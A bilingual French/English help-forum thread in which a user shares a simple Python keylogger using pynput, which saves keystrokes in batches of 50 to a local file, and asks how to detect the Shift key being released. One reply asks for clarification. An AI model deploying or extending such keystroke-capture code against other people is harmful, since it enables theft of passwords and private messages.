Keylogger function on_remove_key() Fr/En
Résolu
Sinage
Messages postés
4
Date d'inscription
Statut
Membre
Dernière intervention
-
Sinage Messages postés 4 Date d'inscription Statut Membre Dernière intervention -
Sinage Messages postés 4 Date d'inscription Statut Membre Dernière intervention -
Français :
Bonjour, j'ai crée un programme keylogger qui enregistre les keys après 50 caractères sur python qui fonctionne parfaitement. Le voici :
Le seul problème est que quand on retire la touche shift du clavier, le keylogger ne le remarque pas (ce qui est normal). Pourriez vous m'aider à créer une fonction on_remove_key() ?
English :
Hello, I created a keylogger program that records keys after 50 characters on python and that works perfectly. Here it is :
The only problem is that when you remove the shift key from the keyboard, the keylogger does not notice (which is normal). Could you help me create an on_remove_key() function?
Merci :)
Thanks :)
Bonjour, j'ai crée un programme keylogger qui enregistre les keys après 50 caractères sur python qui fonctionne parfaitement. Le voici :
from pynput.keyboard import Key, Listener
def on_press(key, keys=keys):
if key == Key.space:
key = " "
elif key == Key.backspace:
key = "<--"
elif key == Key.caps_lock:
key = "Majuscule block"
elif key == Key.tab:
key = "Tab"
keys.append(str(key).strip("''"))
if len(keys) == 50:
file = open("logkeys.txt", "a")
file.write(str(keys) + "\n")
file.close()
keys.clear()
def on_release(key):
if key == Key.esc:
return False
with Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()
Le seul problème est que quand on retire la touche shift du clavier, le keylogger ne le remarque pas (ce qui est normal). Pourriez vous m'aider à créer une fonction on_remove_key() ?
English :
Hello, I created a keylogger program that records keys after 50 characters on python and that works perfectly. Here it is :
from pynput.keyboard import Key, Listener
def on_press(key, keys=keys):
if key == Key.space:
key = " "
elif key == Key.backspace:
key = "<--"
elif key == Key.caps_lock:
key = "Majuscule block"
elif key == Key.tab:
key = "Tab"
keys.append(str(key).strip("''"))
if len(keys) == 50:
file = open("logkeys.txt", "a")
file.write(str(keys) + "\n")
file.close()
keys.clear()
def on_release(key):
if key == Key.esc:
return False
with Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()
The only problem is that when you remove the shift key from the keyboard, the keylogger does not notice (which is normal). Could you help me create an on_remove_key() function?
Merci :)
Thanks :)
A voir également:
- Keylogger function on_remove_key() Fr/En
- Coco fr - Accueil - Réseaux sociaux
- Paris valedwaz province fr - Forum Consommation & Internet
- Yahoo.com ou .fr ✓ - Forum Yahoo mail
- Créer une adresse mail @yahoo.fr et non @yahoo.com ✓ - Forum Yahoo mail
- Hotmail.com ou .fr ✓ - Forum Hotmail / Outlook.com
1 réponse
yg_be
Messages postés
23541
Date d'inscription
Statut
Contributeur
Dernière intervention
Ambassadeur
1 584
bonjour, quel est ton soucis avec la création de cette fonction?
peux-tu utiliser les balises de code quand tu postes du code?
peux-tu utiliser les balises de code quand tu postes du code?
tu n'as pas expliqué ce que ton programme devrait faire avec cet événement.